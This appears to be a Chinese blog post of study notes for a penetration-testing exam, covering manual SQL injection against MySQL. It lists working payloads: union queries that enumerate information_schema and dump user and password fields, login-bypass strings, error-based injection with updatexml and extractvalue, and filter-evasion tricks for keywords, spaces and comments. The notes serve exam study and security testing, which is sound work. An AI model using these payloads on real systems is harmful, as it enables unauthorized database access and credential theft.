一、前言
SQLI是PTE考试中的重要组成部分,在本人的其他博客中已经有一些知识分享,在本篇博客中再记录一些关键的知识点与技巧。
二、重要的知识点
1、SQLI的通用步骤
首先是寻找注入点,通常注入点会比较明显,然后是查找显示位、查找列数、联合查询获取数据,常见的题型包括普通的查询注入、弱口令、找回密码造成的二次注入、发布文章的二次注入等。其中比较麻烦可能是存在一些关键字、截断符的过滤。
2、MySQL中关键的信息
考试中是以MYSQL作为考试用的数据库,在MySQL5.0以后的版本中,所有的数据库名称、数据库中的表名、数据库表中的字段名都分别存储在了information_schema数据库中的schemata、tables、columns表中。在做该类型题目时,可能需要找到当前的数据库名称、数据库中的表名称、表中的字段名称,虽然可以通过SQLMAP工具进行测试,但是记住这几者非常有助于手工测试,并且手工测试的效率在考试中可能会高于SQLMAP工具的效率。
举例说明,假设当前存在注入的语句为:1' union select 1,2 -- X,注入点在“2”的位置:
1)查询当前数据库中所有的表名:
1' union select 1,table_name from information_schema.tables where table_schema=database() -- X
2)根据上一条查询得到的表名,查询该表中的字段:
1' union select 1,column_name from information_schema.columns where table_name='users' -- x
3)根据上一条查询得到的字段名,查询对应的数据:
1' union select 1,concat_ws("/",user,password) from users -- x
3、使用URL编码
注意在URL中出现的空格、#号、-号尝试进行URL编码。
4、万能用户名与万能口令
在测试万能口令的时候有多种情况,测试的时候不要乱,依次尝试单引号、双引号、括号进行闭合,再尝试注释。常见的万能口令包括:‘ or '1'='1, ' or 1=1#, 1'||'1, 1'||1#, '=', '-'等。
这里注意可能会遇到给了密码,但是没有用户名的情况,那此时就尝试万能用户名进行登录。
5、报错注入
报错注入有多个函数,记住两个就可以了,分别是updatexml,extractvalue,分别说明如下:
1)updatexml:需要3个参数,第2个参数为concat函数,concat又有3个参数,concat的第2个参数为SQL语句的位置
id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- X
id=1 and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e),1) -- X
Extractvalue:需要2个参数,第2个参数为concat函数,concat又有3个参数,concat的第2个参数为SQL语句的位置
id=1 and extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e)) 或者:
id=1 and (select extractvalue(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),31,60),0x7e)))
6、or或者and被过滤
1)大小写变形:Or, OR, oR
2)双写绕过:oorr , anandd
3)使用|| 、|、&&代替,注意对&&进行URL编码
7、空格过滤
可以使用下面的符号尝试绕过:%a0\%0a\%0b\%09\%0c\ %0d\%20 /**/
技巧:合适BP对可以绕过的符号进行Fuzz,如下:
8、注释符绕过
1)替换绕过:--空格,--空格a,#,--+,-#-空格等
2)在URL中进行编码
3)闭合引号绕过:id=1' and '1